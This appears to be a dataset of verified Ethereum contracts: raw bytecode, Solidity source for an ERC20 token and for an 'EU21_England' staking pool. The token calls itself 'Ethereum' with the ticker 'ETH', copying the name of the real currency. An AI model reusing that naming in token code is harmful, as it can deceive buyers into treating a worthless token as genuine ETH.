fffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506116a5565b816040518059106117f65750595b90808252806020026020018201604052509350600090505b8181101561188557828181518110151561182457fe5b90602001906020020151848281518110151561183c57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808060010191505061180e565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118cd57600080fd5b60038054905081603282111580156118e55750818111155b80156118f2575060008114155b80156118ff575060008214155b151561190a57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156119a657600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611a0257600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611a6e57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a3611b2385611f53565b5050505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b6457600080fd5b80600081111515611b7457600080fd5b816006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2826040518082815260200191505060405180910390a15050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bfd57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c5657600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611cb057600080fd5b600092505b600380549050831015611d9b578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611ce857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611d8e5783600384815481101515611d4057fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611d9b565b8280600101935050611cb5565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611f3357600080fd5b611f3f8686868661225e565b9150611f4a8261194d565b50949350505050565b6000808260008082815260200190815260200160002060030160009054906101000a900460ff16151515611f8657600080fd5b6000808581526020019081526020016000209250611fa384611133565b91508180611fde5750600083600201805460018160011615610100020316600290049050148015611fdd5750611fdc83600101546123d4565b5b5b156122525760018360030160006101000a81548160ff02191690831515021790555081151561201c5782600101546008600082825401925050819055505b8260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683600101548460020160405180828054600181600116156101000203166002900480156120c55780601f1061209a576101008083540402835291602001916120c5565b820191906000526020600020905b8154815290600101906020018083116120a857829003601f168201915b505091505060006040518083038185875af1925050501561217e5782600401604051808280546001816001161561010002031660029004801561213f5780601f1061211d57610100808354040283529182019161213f565b820191906000526020600020905b81548152906001019060200180831161212b575b50509150506040518091039020847fc18d0dab28e44a2cbac17ff0032653637533170489f97c00b98f54de56f1eb4960405160405180910390a3612251565b8260040160405180828054600181600116156101000203166002900480156121dd5780601f106121bb5761010080835404028352918201916121dd565b820191906000526020600020905b8154815290600101906020018083116121c9575b50509150506040518091039020847ff46b9a37318f375b6612b0522f04ac289129cafb279d379fa487be62a147477c60405160405180910390a360008360030160006101000a81548160ff0219169083151502179055508115156122505782600101546008600082825403925050819055505b5b5b50505050565b60085481565b60008460008173ffffffffffffffffffffffffffffffffffffffff161415151561228757600080fd5b600554915060a0604051908101604052808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018481526020016000151581526020018581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061234c9291906124a6565b5060608201518160030160006101000a81548160ff0219169083151502179055506080820151816004019080519060200190612389929190612526565b509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a250949350505050565b600062015180600754014211156123f5574260078190555060006008819055505b6006548260085401118061240e57506008548260085401105b1561241c5760009050612421565b600190505b919050565b81548183558181151161244d5781836000526020600020918201910161244c91906125a6565b5b505050565b8154818355818115116124795781836000526020600020918201910161247891906125a6565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106124e757805160ff1916838001178555612515565b82800160010185558215612515579182015b828111156125145782518255916020019190600101906124f9565b5b50905061252291906125a6565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061256757805160ff1916838001178555612595565b82800160010185558215612595579182015b82811115612594578251825591602001919060010190612579565b5b5090506125a291906125a6565b5090565b6125c891905b808211156125c45760008160009055506001016125ac565b5090565b905600a165627a7a72305820b3af5b5ac1a4280b38d6c715bcafb721918f002331dcd9d6fcf0fde036c45e4b0029
|
{"success": true, "error": null, "results": {}}
| 3,220 |
0xa20dd0928def253e59556e533ed60cdde152162c
|
/**
*Submitted for verification at Etherscan.io on 2020-09-01
*/
//SPDX-License-Identifier: MIT
/*
* MIT License
* ===========
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
require(_totalSupply <= 1e23, "_totalSupply exceed hard limit");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ethereum is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("Ethereum", "ETH", 6) {
governance = msg.sender;
addMinter(governance);
// underlying _mint function has hard limit
mint(governance, 1e23);
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
}
|
0x73a20dd0928def253e59556e533ed60cdde152162c30146080604052600080fdfea265627a7a72315820bc586b393da51d6b34a6209e718d1ee589e52f561a9b6f6465c41eb3625192b464736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 3,221 |
0x1a516dedaa4bf6fcf4b25008576470bbfe4783d0
|
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
pragma solidity >=0.8.0;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract EU21_England is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// EU21 token contract address
address public constant tokenAddress = 0x87ea1F06d7293161B9ff080662c1b0DF775122D3;
// amount disbursed per victory
uint public amountToDisburse = 1000000000000000000000; // 1000 EU21 PER VICTORY
// total games rewards for each pool
uint public totalReward = 7000000000000000000000; // 7000 EU21 TOTAL GAMES REWARDS (EXCLUDING THE GRAND PRIZE)
// unstaking possible after ...
uint public constant unstakeTime = 37 days;
// claiming possible after ...
uint public constant claimTime = 37 days;
uint public totalClaimedRewards = 0;
uint public totalDeposited = 0;
uint public totalDisbursed = 0;
bool public ended ;
uint public startTime = block.timestamp;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public pending;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public rewardEnded;
function disburse () public onlyOwner returns (bool){
require(!ended, "Staking already ended");
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(amountToDisburse).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(amountToDisburse);
return true;
}
//Disburse and End the staking pool
function disburseAndEnd(uint _finalDisburseAmount) public onlyOwner returns (bool){
require(!ended, "Staking already ended");
require(_finalDisburseAmount > 0);
address _hold;
uint _add;
for(uint i = 0; i < holders.length(); i = i.add(1)){
_hold = holders.at(i);
_add = depositedTokens[_hold].mul(_finalDisburseAmount).div(totalDeposited);
pending[_hold] = pending[_hold].add(_add);
}
totalDisbursed = totalDisbursed.add(_finalDisburseAmount);
ended = true;
return true;
}
//End the staking pool
function end() public onlyOwner returns (bool){
require(!ended, "Staking already ended");
ended = true;
return true;
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
pending[account] = 0;
depositedTokens[account] = depositedTokens[account].add(pendingDivs);
totalDeposited = totalDeposited.add(pendingDivs);
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
}
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
uint pendingDivs = pending[_holder];
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(!ended, "Staking has ended");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalDeposited = totalDeposited.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
}
}
function claim() public{
require(holders.contains(msg.sender));
require(block.timestamp.sub(startTime) > claimTime || ended, "Not yet.");
require(pending[msg.sender] > 0);
uint _reward = pending[msg.sender];
pending[msg.sender] = 0;
require(Token(tokenAddress).transfer(msg.sender, _reward), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_reward);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_reward);
if(depositedTokens[msg.sender] == 0){
holders.remove(msg.sender);
}
}
function withdraw(uint _amount) public{
require(block.timestamp.sub(startTime) > unstakeTime || ended, "Not yet.");
require(depositedTokens[msg.sender] >= _amount);
require(_amount > 0);
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(_amount);
totalDeposited = totalDeposited.sub(_amount);
require(Token(tokenAddress).transfer(msg.sender, _amount), "Could not transfer tokens.");
if(depositedTokens[msg.sender] == 0 && pending[msg.sender] == 0){
holders.remove(msg.sender);
}
}
/*
function withdrawAllAfterEnd() public {
require(ended, "Staking has not ended");
uint _pend = pending[msg.sender];
uint amountToWithdraw = _pend.add(depositedTokens[msg.sender]);
require(amountToWithdraw >= 0, "Invalid amount to withdraw");
pending[msg.sender] = 0;
depositedTokens[msg.sender] = 0;
totalDeposited = totalDeposited.sub(depositedTokens[msg.sender]);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
totalClaimedRewards = totalClaimedRewards.add(_pend);
totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_pend);
holders.remove(msg.sender);
}*/
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require (_tokenAddr != tokenAddress , "Cannot Transfer Out this token");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806398896d10116100de578063c3e5ae5311610097578063d9eaa3ed11610071578063d9eaa3ed1461047c578063efbe1c1c146104ac578063f2fde38b146104ca578063ff50abdc146104e65761018e565b8063c3e5ae5314610410578063d578ceab14610440578063d7e527451461045e5761018e565b806398896d101461033a5780639d76ea581461036a578063abc6fd0b14610388578063b6b55f25146103a6578063bf95c78d146103c2578063c326bf4f146103e05761018e565b80635eebea201161014b578063750142e611610125578063750142e6146102c257806378e97925146102e05780638da5cb5b146102fe5780639232eed31461031c5761018e565b80635eebea20146102465780636270cd18146102765780636a395ccb146102a65761018e565b806312fa6feb146101935780631911cf4a146101b157806327b3bf11146101e45780632e1a7d4d14610202578063308feec31461021e5780634e71d92d1461023c575b600080fd5b61019b610504565b6040516101a8919061253b565b60405180910390f35b6101cb60048036038101906101c691906121d4565b610517565b6040516101db94939291906124da565b60405180910390f35b6101ec61087a565b6040516101f99190612656565b60405180910390f35b61021c600480360381019061021791906121ab565b610881565b005b610226610b86565b6040516102339190612656565b60405180910390f35b610244610b97565b005b610260600480360381019061025b919061210a565b610eea565b60405161026d9190612656565b60405180910390f35b610290600480360381019061028b919061210a565b610f02565b60405161029d9190612656565b60405180910390f35b6102c060048036038101906102bb9190612133565b610f1a565b005b6102ca611088565b6040516102d79190612656565b60405180910390f35b6102e861108e565b6040516102f59190612656565b60405180910390f35b610306611094565b604051610313919061245f565b60405180910390f35b6103246110b8565b6040516103319190612656565b60405180910390f35b610354600480360381019061034f919061210a565b6110be565b6040516103619190612656565b60405180910390f35b61037261112f565b60405161037f919061245f565b60405180910390f35b610390611147565b60405161039d919061253b565b60405180910390f35b6103c060048036038101906103bb91906121ab565b611360565b005b6103ca6115bf565b6040516103d79190612656565b60405180910390f35b6103fa60048036038101906103f5919061210a565b6115c5565b6040516104079190612656565b60405180910390f35b61042a6004803603810190610425919061210a565b6115dd565b6040516104379190612656565b60405180910390f35b6104486115f5565b6040516104559190612656565b60405180910390f35b6104666115fb565b6040516104739190612656565b60405180910390f35b610496600480360381019061049191906121ab565b611602565b6040516104a3919061253b565b60405180910390f35b6104b4611841565b6040516104c1919061253b565b60405180910390f35b6104e460048036038101906104df919061210a565b61190e565b005b6104ee611a5d565b6040516104fb9190612656565b60405180910390f35b600660009054906101000a900460ff1681565b60608060608084861061052957600080fd5b600061053e8787611a6390919063ffffffff16565b905060008167ffffffffffffffff811115610582577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156105b05781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111156105f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106235781602001602082028036833780820191505090505b50905060008367ffffffffffffffff811115610668577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106965781602001602082028036833780820191505090505b50905060008467ffffffffffffffff8111156106db577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156107095781602001602082028036833780820191505090505b50905060008b90505b8a81101561085f576000610730826008611ab090919063ffffffff16565b905060006107478e84611a6390919063ffffffff16565b905081878281518110610783577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610836577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250505050610858600182611aca90919063ffffffff16565b9050610712565b50838383839850985098509850505050505092959194509250565b6230c78081565b6230c78061089a60075442611a6390919063ffffffff16565b11806108b25750600660009054906101000a900460ff165b6108f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e890612636565b60405180910390fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561093d57600080fd5b6000811161094a57600080fd5b61099c81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6390919063ffffffff16565b600a60003373ffffffffffffffffffffffffffff